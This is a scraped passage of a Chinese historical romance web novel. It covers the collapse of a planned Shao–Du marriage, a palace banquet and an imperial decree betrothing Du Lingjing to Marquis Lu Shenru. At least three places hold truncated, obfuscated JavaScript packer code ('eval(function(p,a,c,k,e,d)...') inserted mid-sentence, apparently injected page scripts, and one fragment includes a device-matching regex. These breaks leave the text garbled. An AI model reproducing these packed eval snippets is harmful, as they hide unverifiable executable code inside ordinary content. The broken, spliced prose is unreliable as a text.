邵伍兴脸色发青。 邵氏自两人父亲都还年幼时就分了家。大房二房皆是祖父嫡出,占尽家产,三房四房则是庶出,堪堪分了些能过活的钱财,被遗弃在了族中。 邵伯举年幼时过得怎样的日子,只有他自己最明白。偏他争气,大房二房的子息没有一个成材之人,而他却读书天分极高,得窦阁老幕僚看中,荐至京城书院读书。 或许命途总是眷顾少时多艰的天才,原本只是做了殷王侍妾的姑母,在生下孩子之后没多久过世,邵家原本再也指望不上这层关系,谁料殷王竟出乎意料地继承大统,邵伯举姑母留下的幼儿,也成了新皇次子、雍王殿下。 而后太子病逝,雍王一举成了朝臣期盼的新储君。 殷佑八年,邵伯举高中进士,皇上钦点探花。 有了探花之命,原本不受宠的子弟,才得了嫡枝长房些微高看。 可今日,他只是稍稍缠了些风言风语在身,长房立刻派人来要与他划清界限。 邵伯举眼下隐隐泛青,面上难掩疲色,他问了一句,“外面怎样了?” 邵伍兴只能把外面的情形说了,“顺天府的人倒是好说,只是没想到,锦衣卫也出了那么多人。锦衣卫一出手,更是引得满京猜测。眼下都说,邵家忘恩负义,说大哥你亲手杀了扈廷澜兄妹。” 男人似是恍了一下,又轻笑摇头。 “我亲手杀... ...” 他没说下去,倒是邵伍兴问了句,“锦衣卫出手,莫不是皇上的意思?” 邵伯举摇摇头,“皇上不会这么快。反倒是,锦衣卫指挥使同谁交好,你忘了?” 邵伍兴神思一凛,“是陆侯!” 面上更添几分沉沉疲色,邵伯举深吸一气。 “陆慎如岂会放过这么好的机会?” “那咱们该如何?长房是不是让咱们先不要提同杜家的联姻了?” 这话却引得邵伯举哼笑了一声。 “若都听他的,我也没有今日了。” 话音落地,男人一敛面上疲态,他叫了堂弟。 “你去一趟顾家,替我见一见万老夫人。” * 黄华坊顾家。 荣语堂一片沉寂。 儿媳梁氏把家中姑娘们今日的课业都停了,姑娘们前来给老夫人请安,立在堂中不知所措。 万老夫人今日无心教导女孩,一摆手让她们都去了。 她们前脚刚走,有人快步而来。 来人中等身材,相貌亦不出众,但身后跟着三四个仆从,他进了荣语堂,人人皆向他行礼。他却来不及理睬,一路直走到万老夫人堂中,开口便道。 “邵家来人了?怎么说?”他问向上首坐着的万老夫人,“娘,他们可是要先停了联姻之事?” 说话的正是万老夫人的独子,杜润青的舅父顾大老爷顾扬嗣。 万老夫人一时没有回应,还是儿媳梁氏答了一句。 “老爷,邵家不是此意,相反,是让母亲一定促成此事。” 顾大老爷吸了一气,“外面,锦衣卫都出动了,这同已证实邵氏杀人,有什么两样?我们这时候还插手邵家的事,会不会引火上身?” 万老夫人一只半闭着眼睛沉默,眼下听得这话,缓缓地睁开了老眼。 “就算是锦衣卫出动了,也还没有证据不是?邵氏不是那么容易倒的,后面还立着雍王和窦阁老。但若是此事咱们明哲保身,日后邵氏回过神来,你觉得我们后果如何?” 顾大老爷深压了眉头。 万老夫人则又开了口,她看了儿子一眼。 “你父亲死后,你并不得皇上重用。还是这几年我在各家之间牵线,才让顾家还稳在京中高门之列。今次邵氏和杜家联姻,谁人不知是出自我之手。若我不能促成此事,别说别家想往咱们家中送姑娘让我调教,便是寻常请我搭桥牵线的,也要思量几分。那顾家在高门还有什么地位可言?” “可是... ...” 顾大老爷还要再说,老夫人抬手止了他,却也轻轻招手,叫他上前来。 顾大老爷上前,老夫人亲自携了他坐在自己身侧,爱怜地替他拂去肩头尘灰。 “这些事你不用操心,娘将邵氏娶杜家女的事情办成,他们自会替你另谋差事,你只要等着邵氏替你另外谋来的好差事就行了,一概事情,娘来办。” 话说到此处,顾扬嗣再不多言一句了。 “那儿子都听母亲的就是。” 万老夫人又目露慈爱地拍了拍他的肩,颔首示意他放宽心,接着转头叫了儿媳梁氏。 “你让人去澄清坊杜家,把姑爷请过来。” ... ... 杜二老爷杜致祁到的时候,京城的风几乎要把房檐上的瓦片吹下来了。 他见到了万老夫人,也问出了和顾大老爷一样的问题。 “岳母大人,邵家祸事缠身,这亲事还能成吗?” 万老夫人冷哼了一声。 她对杜致祁可没了方才对自己儿子的耐性,此刻瞥了杜致祁一眼。 “你还问我,应该问问你自己的好侄女。” “静娘?”杜致祁一愣,旋即反应了过来,“这事怎么可能是静娘闹出来的?她不过是个无有依仗的姑娘家,哪来的胆子伸手搅动京城乃至朝堂?” 万老夫人更哼了,“可这个节骨眼上,不是她还有谁?” 她想到原本外面的风言风语,惊得别有用心的人更添油火,腾然就烧了起来,烧得她也心神不宁,就有些恍惚。 她不禁又瞥了自己这位优柔寡断的姑爷一眼。 “她可比你这叔父雷厉风行多了,短短一日的工夫... ...但事已至此,”她瞪向杜致祁,“杜家再没退缩之地,你也不许再左右摇摆。此事成也得成,不成也得成,你回到家去,将你那侄女看住了!” 她说着遥遥往皇宫的方向看了过去。 今晚就是中秋宫宴。 “我自会进宫,亲自在皇上面前,替杜家和邵氏的婚事说项。” 亲自说项。 杜致祁惊诧地揣着万老夫人这四个字,回了澄清坊。 京中不知哪里来的这么大的风,原本还攀着枝条的黄叶,都在飞旋的狂风里持不住最后的力道,撒手被卷进半空,又甩在墙上,扑进地缝里。 街上人如草叶,纷纷躲避。杜致祁的马车经过转角的时候,险些被风掀翻,他不敢再坐,只能下了车来。 只是走到府邸门口的时候,隔着十数丈便看到了立在门口的人。 她着一身天水碧色衣裙,巷子里的风与门洞里的闯堂风交汇着扑在她脚下,她衣裙翻飞静然立在风里。 风声呼呼作响,她却只抬头看着门上匾额不动。 杜致祁想到今日京城风声鹤唳,竟然出自她之手,忍不住两步上前,厉声开口。 “你可真是同你父亲一样不知天高地厚!他以为凭一己之力,就能让朝堂天翻地覆,什么革除旧弊,什么开创新天,可朝中势力根深树大,是他能搅动得了的?最后扔下烂摊子去了,害得我多年升迁无望,只能在京外打转!” “你也一样!和你爹一样自以为是,就因着不满我给你定的亲事,搅得满城风雨!你有什么好不满的?父债女偿,你本就该听从我的安排,却闹出这么大的事来害我?!” 杜致祁忍不住要吼起来,只是眼角瞥见巷口有人路过,他一惊,连忙收了声。 可心里的怒气却不能收住。 他只见这侄女仍旧站在那处,对他的愤怒毫无反应,禁不住又道。 “你别以为邵伯举惹火上身,你就能免于嫁他!你想都不要想,万老夫人今晚会夜宴上,会亲自同皇上说项。有她老人家说项,此事必成,你就等着嫁去邵家吧!” 他说着,也转头看去了府邸的门匾上,门匾上题着两个字“杜府”,是从前杜泠静的父亲在世时换上的匾额。 杜致祁只看了一眼,就收回了目光,他冷冷地瞥了侄女一眼。 “之后你嫁去邵家,只能看邵伯举的脸色,而在娘家,你只能听我的。女子自古如此。若是日后过得艰难,也莫要后悔来同我哭,我不会怜惜你,这都是你自己找的!” “你要哭,也同你死去的爹娘哭去吧!” 杜致祁甩袖往门内而去,他一步跨进门里,更是叫了随从。 “把门关上!” 杜府大门被砰然关起。 穿堂风停了一停,但下一息,巷中游走的狂风掠过杜泠静,直直向那门上匾额吹去。 她犹记得初初换上新门匾的那日,门前聚了许多人。 地上满是大红鞭炮碎,文伯不让扫,通红满地才喜庆。 众人踩着通红的地面,纷纷抬头看着红绸下匾上二字。 有说这两个字别具风格,又说这“杜”字柔韧沉稳,“府”字大气磅礴。 “好字,都是好字!”众人夸赞。 爹捋着胡子笑,“诸君好眼力,这二字确是两人合写。” 父亲这话一出,安静跟在旁边的她就偷偷看了爹爹一眼。 可巧就有人问,“敢问这是哪两位大家的手笔?” 这话一出,她双手都握紧了。 却见爹爹仍旧捋着胡须,一副高深莫测的样子。 众人见状,不免更加好奇,“杜大人请来这般大家题字,怎么还藏着掖着?” “非是藏着掖着,乃是这两位,寻常不轻易露面世间。” 众人更催促他告知不迭。 爹这才缓缓开了口,他看向 匾额上那两个字。 “前字出自东香阁主,后者是上芳散人。” “东厢阁主?上芳散人?”,众人一愣,“真真是从未听闻的隐士高人!” 杜泠静也愣了一愣,但旋即看到爹爹向她投来的笑眼,脸色刷得一下就红了。 哪来什么东香阁主、上芳散人?分明是住在东厢房的她,和住在上房的爹爹! 她朝爹爹看去,爹恰也越过众人朝她看来。父女相视的瞬间,皆忍不住轻笑出声... ... 那日红绸高挂,鞭炮齐鸣,宾客满园,连同爹眼中的笑,仿佛犹在眼前。 门匾下,她想起那些恍若昨日的事,笑意不经意地就漫上了双眼,只是风太大了,风吹得她双眼模糊,把眼前的一切都吹散了。 再看门匾,老漆斑驳,旧字飘摇,而门下空空,再没有了捋着胡子,跟她笑意盈盈的人。 “姑娘。”秋霖拿了披风上前,见姑娘只看着眼前的匾额,不禁鼻头一酸,哽咽了嗓音,但她岔开了话头。 “姑娘,方才二老爷说,万老夫人今晚要在夜宴上亲自请旨赐婚,这可怎么办?” 她问去,见姑娘目光终于从匾额上收了回来。 姑娘淡淡地笑了笑。 “这京城不是我说了算,自然,也不是万老夫人说了算的。” * 夜风裹着秋夜草地漫上来的凉气在整个京中肆掠,吹得门扇关不住,不断有宫女被派上前来,特特站在窗外的风里,压住宴厅的花窗。 窗子稳住,便有宫女鱼贯而入,穿梭在摆着满满当当宴桌的阔厅里,时而端上精致果点,时而奉上美酒香茗。 有年少的贵胄子弟笑闹着在席间说笑,大人们则相互寒暄言语,风吹不进热闹的厅中,只有香气飘在席间。 这时有太监唱了一声。 “皇上驾到!” 原本喧闹的席间登时安静了下来,众人纷纷起身相迎。 自长长的屏风后面走来一个四十岁上下的男子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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席间歌舞乐声、珍馐美酒自不必说。 万老夫人席位算不得靠前,不过一直留意着上首的一举一动。 这些美味她是无暇顾及的,这会见着另一侧的席位上,邵伯举向她投来目光,万老夫人微微点头,只待窦阁老的老母亲,窦老太君亲自上前,为皇上敬酒,皇上饮下又赏赐了窦老太君一番后,万老夫人也端起酒盅,深吸一气到了圣前。 窦老太君见了她,呵呵笑了一声,“皇上又有酒喝了。” 皇帝也笑了一声,“万老夫人的酒,朕自是要喝的,从前朕在宫中,多得万妃娘娘照看,朕一直记着。” 万妃是先帝最早册封的几位妃子之一,而万老夫人之所以在宫里颇有体面,全赖她是万妃的胞妹。只可惜万妃没留下一儿半女就离了去,万老夫人能依仗的也只有自己了。 她连忙躬身,“万氏不敢劳陛下总记情义,陛下宽心才好。” 她说着,自饮杯中酒,见皇帝笑着点头,神色宽和,心下暗定。思量了一晚上的话,说了出来。 “这杯酒原是中秋月酒,但老身想请陛下再饮一杯喜酒。” 她这话一说,席间静了几分。 “哦?谁家的喜酒?”皇上面露兴致。 万老夫人正了正身子,“是老身的姑爷家,青州杜家。杜氏想请皇上做主,为家中女儿指一桩门当户对的良缘。” 皇上微顿,“杜家的人,朕早没见了。” 万老夫人连道正是,皇上看了看这位老夫人。 “老夫人是京门月老,可觉得哪家同杜氏门庭相当?” 万老夫人就等着这话了,她深吸一气。 “皇上抬举了,但老身还真就斗胆说一门。” 她转头笑着看向邵伯举,“不知探花郎邵探花,陛下觉得如何?” 这话说完,厅中近乎无人再说话。 邵伯举的事情方才没人提起,却不代表众人没有听到半分风声。 万老夫人点去,邵伯举就要站起身,近到圣前来。 谁知就在这时,有人笑着开了口。 “我倒觉得杜家跟邵家,非是那么门当户对。” 众人齐齐循声看去,只见蒋太妃缓缓站起了身来。 蒋太妃不巧也是青州人,而她娘家侄孙,正是先前同杜家定过亲的解元蒋家三郎。 蒋太妃突然开口,万老夫人一愣。 而蒋太妃没提自己英年早逝的侄孙,只是道,“杜家诗书传家,门庭清贵,若给他家说亲,也当说一门清贵相当的亲事才好,不然无端为杜家攀扯上杂乱之事,岂不是损人门楣?” 蒋太妃一向不甚言语,这话却说得毫不客气。 可厅里谁人不知她说得,正是邵伯举涉嫌害死扈家兄妹的事。 邵伯举脸色倏然一青。 而万老夫人亦身形僵了僵。 皇上一时没有言语。 厅中无人说话,万老夫人手下紧了紧,她禁不住又开口。 “近日风大,难免吹起来些闲言碎语,倒也当不得真的。” 她说着不去理会蒋太妃,只看向皇上,“陛下,杜家... ...” 然而话音未落,皇上开了口。 “老夫人也累了,回去歇了吧。” 万老夫人手下忍不住颤了一颤。 邵伯举都还没走到圣前,皇上更是看都没看他一眼,而万老夫人却被皇上拨了回去。 万老夫人指尖都凉了,只觉满厅的人都似有似无地看向自己,又好似瞧着她摇了头。 她一张老脸发烫起来。 邵氏和杜家联姻的事没了。 邵氏不会在明日圣旨赐婚之列了…… 但她也再不敢多言,勉强撑着不失态,才回到了自己的座上。 厅里又有宫女鱼贯而入,给贵人们都续了酒。 气氛缓和了几分,闲语声又渐渐响了起来。 永定侯陆慎如不知哪来的悦意,自斟自酌了一杯。 倒是上面的陆贵妃,秀眉微蹙,看了弟弟一眼。 * 阮恭一直在宫门外等着信,等到人都快被风吹僵了。 但此刻,他快步跑进西院里,径直跑到了杜泠静身前。 秋霖腾的站起来,“宫里如何了?!” 杜泠静也抬头看了过去。 阮恭满脸大喜之色。 “姑娘,万老夫人替咱们家说亲,被皇上晾下去了!皇上从头到尾没理会邵氏一眼!” 换句话说,邵氏跟杜家联姻的事,消了! 明日赐婚圣旨下来,宫里不会再给邵家的恩荣。 秋霖几乎惊喜地叫了起来。 “那姑娘,咱们是不是能回青州了?!” 杜泠静微恍了一恍,但旋即轻轻笑了笑。 “是,我想是。” 10.第 10 章 中秋祭月的翌日,宫里赐婚的圣旨,便会从东安门或是西安门传出来。 天还没亮,京城这两座宫门前便挤满了探寻的人。 今岁的联姻最重要的两道,一个是邵氏联姻杜家,另一桩便是永定侯府迎娶侯夫人。 看着只是两桩婚事,实则暗自打擂台,就看哪边拉拢来的助力最多。 不过昨儿夜里有消息传出来,邵氏同杜家的事恐怕要不稳。 多少人押了大注在这桩亲事上,这会两宫门外,人人瞪着大眼瞧着。 待到日头高高升起,第一道圣旨由着内侍领头,从西安门送出来了。 众人分出一波跟着内侍往城中去,不时消息落定,是皇上赐婚了一位宗室子弟迎娶文臣之女。 紧接着东安门也传来了消息,道也是圣旨送去了宗亲府上,是一位县主嫁去伯爵府邸。 两道皆是宗室联姻,不过一边是联姻清流文臣,一边是交好贵勋武将。 不免有人感叹,“文武两道自开国就诸多不和,闹出多少是非来,眼下到了皇上,还得为此操心。文武难调和,皇上也为难啊... ...” 众人议论着,又往宫门口看。 每年都是宗亲联姻先打头,今岁多半也不例外,压轴的必然在后头。 谁知道众人这么一盼,从早间一直盼到午时,宫里再没人出来,莫说等待多时的重头戏,连其他赐婚的圣旨也一张没出。 “这... ...” 时过午间,宫门紧闭,这放在往年,就是再没有赐婚圣旨的意思。 须臾之间,满京哗然。 黄华坊顾家,万老夫人还等着最后的消息。 但亲自去打探的顾大老爷去而复返,跟他母亲脸色难看得摇了头。 万老夫人心下一坠。 但顾扬嗣的话还没说完。 “皇上不仅没给邵氏指婚,而且免了邵伯举近日入宫给雍王殿下侍读之事,另外换了旁人。雍王殿下替邵伯举说了两句,皇上却只让他专心读书,不要思量不相干的事。” 万老夫人听完,捂住了心口。 邵家和杜家的事,是真没了。 梁氏赶忙给万老夫人奉了安神茶,万老夫人将一整碗茶都喝下,才缓过气来。 “就算此事不成,旁家联姻的事却不能都连累了去。” 她同梁氏道,“先前你说济南黄氏、顺德沈氏都要送姑娘来我这里,就让他们送过来吧。” 只要还有旁的人家仍旧找她牵线,这京门月老之称,便仍稳得住。 顾扬嗣连道正是,“娘的本事谁不知道。这次都是那杜家女无事生非,不然此婚必成。” 说到这,万老夫人脸色变了一变。 “所以我让人把姑娘家先送到我这里来,我自会亲自调教一番,不说调教的十分好,也得恭顺小意,万不能生出些不该有的心思,以为自己了不得了,平白闹出事来。” 顾扬嗣跟着点头,不过问了一句,“那杜家... ...” 已回了神的万老夫人浅浅哼了一声。 “除非那杜泠静绞了头发做姑子去,不然我早晚给她嫁出去,到那时候可就没有邵伯举这样的探花郎等着她了。” * 澄清坊杜家。 杜致祁也得到了邵伯举被免了雍王侍读差事的消息。 没有赐婚圣旨,邵氏还遭了冷遇,杜致祁出了一脖颈黏腻的冷汗。 他烦闷地抬头向书房外面看去,正就看到了杜泠静。 “她又做什么?”如今侄女做什么,杜致祁都神经倒竖。 小厮去打听了一耳朵跑了回来。 “大姑娘在同门房的文伯说话,问文伯回不回青州。” 杜致祁一愣,“她要回青州了?” 小厮道看见秋霖在吩咐人收拾行李,“约莫是的... ...老爷要拦着吗?” 杜致祁闻言先是恍惚了一下,接着瞪大了眼。 “她要走就赶紧走,难道我要拦着她,继续在京里搅弄是非?!” 小厮不敢说话。 杜致祁只觉脖颈上的汗更多了,他拿了帕子反复擦着汗。 他真是不敢想象,若是杜泠静留在京城里,哪一日突然想开了,嫁了个高官显贵,那还得了? 他说着又嘱咐了小厮一遍。 “任何人不许阻拦,就让她赶紧走!” 杜泠静本就没准备来京,此番风浪平息,她当然不会再留。 府门前,她同文伯道,“您跟我回青州吧。我来给您荣养。” 话音如同门洞里的穿堂风,催的文伯苍老的眼睛溢出热泪来。 杜泠静握了他的手。 殷佑四年,文伯的两个儿子连同阮恭的父亲,都在跟随她父亲千里回京复职的路上,突遭不测,葬身在了爆发的山洪里... ... 她和阮恭没了父亲,老文伯也至此膝下皆空。 文伯的热泪禁不住滑落下来,流过爬满皱纹的脸,又啪嗒落在地上。 “好,”他颤声说好,“老奴陪姑娘回去。” 杜泠静鼻头酸了一时。 但菖蒲却从外踩了风火轮似地跑了进来,差点一头撞在杜泠静身上。 随侍在侧的阮恭上前就要踢他,菖蒲赶紧求饶。 “小的是太高兴了!姑娘押反,押邵家和咱们的婚事不成,赌赢了,发大财了!” 阮恭收了脚,不禁连忙问,“姑娘那五百两赢了多少?” 菖蒲说炸了炸了,“姑娘这五百两都快把千兴坊炸了!赢了七倍还多,除了千兴坊从中抽掉了,还有三千两啊!” 文伯都吃了一惊,“老夫在京中那么多年,还真没听说过,有人能在千兴坊一把赢三千。” 阮恭先也惊喜,但想到什么,又瞧着杜泠静道。 “这千兴坊也太黑了,居然抽了这么多钱。” 赢钱是好事,但他得提醒姑娘,赌坊可不是什么好地方。 姑娘是芝兰玉树的读书人,可不好陷入此癖。 只是他暗语点了,却见姑娘没表态,只同菖蒲笑着,“今日能将钱拿出来么?” 菖蒲却摇头,“还不成呢姑娘。” 他说之前有人押了五百两进去,押侯爷今岁娶妻,但今日邵家和永定侯府都没有赐婚圣旨到,众人都说他五百两全赔了,但他不肯相信。 “怎么可能?我可是有信儿的,侯爷今岁一准娶妻!” 他让千兴坊不许分钱,“今日日头还没落山呢,等日头落了山再说!” 菖蒲跟杜泠静道,“因着这个,千兴坊说三日后再分。” 阮恭皱了眉,“姑娘准备明日一早就启程了。” “啊!那姑娘不等分钱了?” 杜泠静笑着留了菖蒲,“你替我等吧。” “可姑娘若亲自见着分钱,该多开心啊!” 菖蒲说着,见姑娘又笑了笑,只是眸中兴致缓缓落了落。 “三爷还在家里等我。” 此言一出,菖蒲立时安静了下来。 这几年,姑娘每次出门,都数着日子回青州。 每一次,姑娘都说,三爷还在家里等她。 可要是蒋三爷,真的能在家里等着姑娘,就好了... ... 阮恭默然垂了头,文伯轻叹了一气,杜泠静神色平静。 菖蒲在一阵安静之后,又打起了喜气来。 “那小的替姑娘在京里等钱!待换了银票给姑娘带回去!” 杜泠静跟他笑着点头,转眼想到了什么,又吩咐了阮恭一声。 “昨夜多谢太妃娘娘替我说话,若照着娘娘的性子,平素再不理会这些是非。不管怎样,把我们从济南带来的长清茶,都给娘娘送过去吧。” 阮恭领命去了。 有人在正院的二门内,偷偷往外看了一眼,是杜润青的丫鬟瑞雪。 她转头跟一旁的自家姑娘道,“姑娘,大姑娘真的要走了。” 墙角的树叶沙沙地响着,杜润青心里思绪纷杂,听了这话越发恍惚。 大姐还真就把这桩婚事拒了。 她真的凭着自己办到了,连父亲、外祖母和邵家都没能拦得住她。 甚至父亲、外祖母和邵家,恐怕都因着此事没成,要另遭困境。 杜润青还有些难以置信。 大姐真就免于被赐婚邵氏了吗? 就在这时,沙沙的树叶声因着风丝消散停了一停,可门外突然传来拍手清道的声音。 杜泠静正站在门前,亦听到了清道声。 杜府门外肃静了一时。 接着,有侍卫开道,皇上身边的内侍杨公公出现在了杜家门前。 他一眼看见杜泠静正就站在门口,笑了起来。 “姑娘竟就在此候着了?” 他道这可正好,“杜家阖府都出来吧,皇上有旨,杜家接旨吧?” 杜泠静怔了一怔。 正院门内,丫鬟瑞雪也吃了一惊,但旋即拉了杜润青的手。 “姑娘,圣旨来了!” 杜润青倏然睁大了眼睛。 “我就说... ...” 她就说,父亲、外祖母和邵氏,怎么可能敌不过大姐一个人。 大姐她,只是个无有依靠的孤女罢了... ... 另一边,杜致祁听见有圣旨到了门前,几乎是小跑出了书房。 待他看到怔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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好似所有人都被梦魇住,在错乱的旨意中更加错乱,难以置信。 杜府门前。 上前接旨的杜致祁耳鸣了一声,他不由自主地问了出来。 “公公没弄错?” 杨公公闻言忽的笑了,嗓音尖着反问了这位杜二老爷。 “杜大人这话问的,不知是在质疑咱家,还是在疑问皇上呐?” 杜致祁倏然惊醒过来。 “臣、臣再没此意。” 他赶紧颤手接下圣旨来。 杨公公不再理会他,只是目光落在了杜泠静身上。 “侯爷等了多年,此番终于是等到侯夫人了。” 杜泠静耳中空响,似听见了又似没听见,垂着眼帘沉默。 但杜润青却向后踉跄了一步。 * 积庆坊,永定侯府,鞭炮齐鸣。 连响的大红鞭炮在侯府门前的大道上,整整响了两刻钟,侯府侍卫搬出两大筐铜板来,但凡前来贺喜说吉祥话的,通通有份儿。 一时之间,侯府门前水泄不通。 针线上的老嬷嬷亲自拿了喜服过来。 “侯爷穿上试试,春日里做好的衣裳,秋日里也难免尺寸变化。是侯爷大婚的衣裳,精尺精寸才好。” 男人笑着颔首,通身大红喜服将挺拔的身形,修饰得越发夺目。他眸中悦意满溢,平抬双手由着老嬷嬷仔细丈量。 近身侍卫崇平刚从外面回来,此刻前来复命,刚上前,就听见侯爷问了过来。 “她那边... ...怎么样了?” 崇平自然晓得侯爷问的是谁。 他脸色有些尴尬,待针线房的老嬷嬷量完躬身退下,他才道。 “属下不好说,只是杜家似乎没什么大喜之态。” 他说杜家先是没放炮,之后有人问了,杜二老爷才想起来,让人放了一挂。 男人并不在乎这个,但却放轻嗓音问了一句。 “... ...那她呢?” 崇平更低了头。 “姑娘自接旨之后就一句话都不说了,回了西侧院,没再出来。” 他说完,禁不住看向自家侯爷。 侯爷微顿,默了一默,但旋即又自顾自笑了起来。 “无妨。” 不知是在安慰谁。 接着他叫了崇平。 “去挑个最近的黄道吉日来,我亲自登门送聘礼。” 11.第 11 章 圣旨落定后的杜府,不论是前院、正院还是西侧院,都寂静如暗夜未明。 风里有了深秋的寒意,自门外吹来,扰动一室沉落的墨香,也翻起杜泠静手边陈旧的邸抄,是父亲旧年所攒。 密密麻麻的小字令她眼睛发酸,此刻被风打断,杜泠静闭了闭眼睛。 那日赐婚的圣旨,仿若平地惊雷。 不光她完全没有想到,整个京城都始料未及。 这桩婚事似乎毫无预兆,没人能想到原本要同邵氏联姻的杜家,突然成了侯府的姻亲。 但这“毫无预兆”中,又似乎有些说不清道不明的预兆。 彼时枕月楼里,茶客都惊奇陆侯怎么会和邵伯举同时出现,没人晓得他是去见谁,可她却在偏僻的楼梯间里,与那位侯爷遇了个正着。 扶在她腰间的手掌和莫名亲昵的话语... ... 杜泠静自问完全不认识陆侯,但那位侯爷,会不会其实认识她? 念及此,她心口暗跳了一下。 若如此,那么这奇怪的圣旨联姻或许就有了解释。 邵伯举要娶她,亲事定下之前就弄得满城风雨。陆慎如都知道,他要同邵氏打擂,也趁机借她借杜家的名声,为慧王拉拢朝臣。 手边的邸抄散发出陈旧的气味,多少朝中腥风血雨都掩藏在了细如麻的小字里。 自开国以来文臣武将互斥,引得诸多纷争。文臣以为武将拥兵过重,威胁朝堂皇权,而武将却斥文臣搅弄是非,迫害功臣良将。 文武之争历经多代非但不消,反而祸乱层出不穷。 她十一岁那年,父亲还不是阁臣,先帝尚在,永定侯府陆氏却因为文臣武将对峙僵持,险些遭遇灭门之灾。 当年以永定侯府陆氏为主帅的永定军,于宁夏与三万鞑靼大军作战,突遇险境,过半大军被困在了鞑靼腹地。陆氏请求朝廷立刻派军支援,然而朝廷却接到了鞑靼和谈之意。 朝中文臣几乎都主张和谈,虽损一时之兵,却能保得十载甚至数十载太平。但武将却群起反对,陆氏率领的永定军困在外生死不明,眼下放弃救援与鞑靼和谈,陆氏只有死路一条不说,往后永定军折损,就再也没有人能北拒鞑靼于关外了。 文臣武将顿时因主战还是主和相互攻讦起来,先帝犹豫难决。 杜泠静记得父亲当时连番上书请求先帝尽早决断,而父亲虽是文臣,却同贵勋武将一样主战,主张先派兵救援永定军,再议和谈不迟。 此事僵持了一月有余,最后先帝力扛议和之压,拨去精锐前去救援。 然而在救援兵至之前,永定军却杀出一条血路,回来了。 只是这条血路杀得太难,救援的兵又来得太晚,永定侯府陆氏一门,除了主帅老侯爷,年轻力壮的将领子弟近乎折损殆尽。彼时陆慎如的父亲、永定侯世子身中二十六箭,葬身在了染成血色的大漠里。 老侯爷虽夺回一命,却因重伤无法再上战场,只能扶持长孙陆慎如,以十三岁的年龄力担永定军主帅重任。却未能等到他及冠,老侯爷就难以支撑,撒手离去。 幸而这位年轻君侯不辱丹书铁券的使命,扛起了整个永定侯府,整个西北永定军,也扛起了王朝北拒鞑靼的整条边关。 只是经过一番血洗的永定侯府陆氏,再没可能同朝中文臣,尤其是当年一力主和的那些文臣把酒言欢。 两派互斗至此,皇上岂能不愁? 杜泠静以为,与其怀疑是陆侯早就认识了她,或者另所图谋,倒不如说这等诡异的情况,可能出自宫里让文臣武将言和的意图。 若如此,那么她唯一可能脱身的办法,就只有说服那位陆侯了。如果是他也不甘于此,正好能一起商议推脱之法。 只不过,她得先确定,他确实不认识她,圣旨并不是他的意图。 杜泠静眼睛越发酸了,她不禁起身推开门窗往外看去。 窗子刚一推开,秋风突然卷来一片叶,仿若从天而降,飘到了她的袖口上。 是竹叶。 外面的风这么大,这片竹叶却这么轻轻柔柔地飘到了她的袖间。 “泉泉,若偶尔想起了我,我会在竹林里等你。” 眼泪不知何时冒出来,啪嗒落在了竹叶上。 她拾起那片叶子攥在了手心里,抬脚出门。后院的墙角里,正有一丛自青州老家移来的翠竹。 只是秋霖快步跑了过来。 “姑娘要往前院去吗?” “前院?” 杜泠静要去的是后院,但秋霖却道。 “是侯爷,侯爷来送聘,就在前院了。” 杜泠静脚下一滞。 * 杜府前院。 杜致祁看着院中满满当当的聘礼,有些恍惚。 从圣旨下来,他只觉坏了事了。 陆侯岂能不知杜家原本想要和邵氏联姻的,但现在圣旨却指了陆杜两家。 可眼下看向这位侯爷,男人着一身檀红绣宝相花锦袍,戴了镶珊瑚玉冠,此刻坐在交椅上饮茶,倒并无不悦。 杜致祁吃不准他的意思,谨慎又尴尬地道了句,“侯爷怎么亲自来了?” 男人抬眼看了他一眼,“那自是要的。” 这句不轻不重,杜致祁更是琢磨不定了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而思绪还没掠过,却听男人略微惊奇道。 “原来枕月楼那日,陆某遇到的就是姑娘。没想到与姑娘初遇是那番情形,是陆某冒犯了。” 初遇? 杜泠静一顿,垂了眼帘。 他不认识她? 12.第 12 章 初遇?杜泠静一顿。 一旁的杜致祁,先是见这位侯爷竟对侄女十分礼待,便觉意外,再听他说两人竟见过,更是惊诧。 可是枕月楼... ...不会是她去见邵伯举的那次吧? 杜致祁的头刺啦痛了一痛。 上次她一声不吭地去见邵伯举,然后搞出了邵伯举杀人的满城风雨;这一次她又来见了陆侯,杜致祁不知她又想搞出什么事来,一双眼紧紧盯着侄女。 杜泠静没理会叔父警告的眼神,只暗暗在心里琢磨了一下。 看来这位陆侯不曾认识她。 既如此,这道联姻的圣旨便只有可能是宫里的意思了。 至于那日在枕月楼,这位侯爷奇怪的言行,会不会他真的认错了人? 京中传闻说他二十有五还未娶妻,是因着在等人。有说在等尚未及笄的国舅千金,也有传闻是花楼中的绝色歌姬,还有甚者道是难以被朝廷接受的鞑靼公主... ... 那日枕月楼错将她认成的,可能正是他在等的人。 而此人,才是他心中的侯夫人。 杜泠静只能如此推测。 念及此,她看向这位陆侯。 “不知能否与侯爷单独一叙。” 谁知她话音未落,叔父杜致祁就跟她瞪了眼,但又不能当着陆侯的面发作,低压着怒嗓。 “你又想做什么?” 他恼怒起来,杜泠静却并不理会。 她能否同这位侯爷单独相谈,看得并不是叔父的意思。 她看向这位侯爷,见男人没有意外之色,反而叫了她叔父。 “这书房闷热了些,不若杜大人出去小站片刻?” 他直接将杜致祁赶了出去。 杜致祁讶异,这是他的书房,陆侯却赶他走? “这... ...在下先去透透气。” 杜致祁的头越来越痛了。他拒绝不了陆侯,只能看向自己侄女,眼神尖利地想要再低声警告她一句,不要再胡乱搞事,话还没说,那位陆侯催了他,“杜大人快些去吧。” 杜致祁再恼怒,也无法再停留,只能速速离开了书房。 他一走,杜泠静明显感觉方才压在脸上的怒意一散,轻快了些许。 是那位侯爷替她说话,她不由抬头跟他微微抿唇笑了笑,以示感谢。 